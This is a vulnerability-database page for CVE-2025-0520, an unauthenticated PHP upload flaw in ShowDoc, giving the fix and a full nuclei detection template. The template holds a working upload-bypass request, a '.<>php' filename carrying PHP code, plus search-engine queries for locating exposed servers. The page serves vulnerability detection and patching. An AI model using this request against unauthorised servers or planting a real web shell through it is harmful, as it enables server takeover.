HexBrain

Browse / CVEs / CVE-2025-0520

CVE-2025-0520· star7th / showdoc· CWE-434

ShowDoc - Remote Code Execution

criticalseverity
9.4CVSS score
2.4%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it

The open-source API documentation tool ShowDoc had a remote code execution vulnerability before version 2.8.7 This vulnerability allowed unauthenticated remote attackers to upload .php files because the image upload function was not authenticated and the file extension validation was improper.

Impact

The attacker does not need to go through login authentication to upload any php backdoor on the affected ShowDoc website and thereby gain server access.

Fix

Please update ShowDoc to version 2.8.7 or higher to fix this vulnerability.

How to confirm it

Send: POST /index.php?s=/home/page/uploadImg ; GET {{upload_path}}
Positive when: status_code_1 == 200 && status_code_2 == 200 and contains_all(body_1, 'url', '.php') and contains(body_1, "Public/Uploads") || contains(body_1, "Public\\/Uploads") and contains(body_2, '{{md5(secret_…

Run it with nuclei: nuclei -id CVE-2025-0520 -u <target>

The full check
id: CVE-2025-0520

info:
  name: ShowDoc - Remote Code Execution
  author: pikpikcu,Co5mos,PapButfly
  severity: critical
  description: |
    The open-source API documentation tool ShowDoc had a remote code execution vulnerability before version 2.8.7 This vulnerability allowed unauthenticated remote attackers to upload .php files because the image upload function was not authenticated and the file extension validation was improper.
  impact: |
    The attacker does not need to go through login authentication to upload any php backdoor on the affected ShowDoc website and thereby gain server access.
  remediation: |
    Please update ShowDoc to version 2.8.7 or higher to fix this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-0520
    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-26585
    - https://github.com/star7th/showdoc/pull/1059
    - https://github.com/vulhub/vulhub/tree/master/showdoc/CNVD-2020-26585
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L
    cve-id: CVE-2025-0520
    cwe-id: CWE-434
    cvss-score: 9.4
    epss-score: 0.02445
    epss-percentile: 0.84472
  metadata:
    verified: true
    vendor: star7th
    product: showdoc
    shodan-query: http.title:"ShowDoc"
    fofa-query: app="ShowDoc"
    hunter-query: web.title="ShowDoc"
    zoomeye-query: app:"ShowDoc"
  tags: showdoc,cve,cve2025,cnvd,cnvd2020,rce,fileupload,intrusive,star7th,vuln,vkev

variables:
  boundary_id: "{{rand_text_alphanumeric(16)}}"
  file_name: "{{rand_text_alphanumeric(4)}}"
  secret_str: "{{rand_base(12)}}"

http:
  - raw:
      - |
        POST /index.php?s=/home/page/uploadImg HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary_id}}

        ------WebKitFormBoundary{{boundary_id}}
        Content-Disposition: form-data; name="editormd-image-file"; filename="{{file_name}}.<>php"
        Content-Type: text/plain

        <?=md5("{{secret_str}}");?>
        ------WebKitFormBoundary{{boundary_id}}--

      - |
        GET {{upload_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: raw_url
        part: body
        json:
          - ".url"
        internal: true

      - type: dsl
        name: upload_path
        dsl:
          - 'replace_regex(raw_url, "^https?://[^/]+", "")'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200"
          - "contains_all(body_1, 'url', '.php')"
          - 'contains(body_1, "Public/Uploads") || contains(body_1, "Public\\/Uploads")'
          - "contains(body_2, '{{md5(secret_str)}}')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from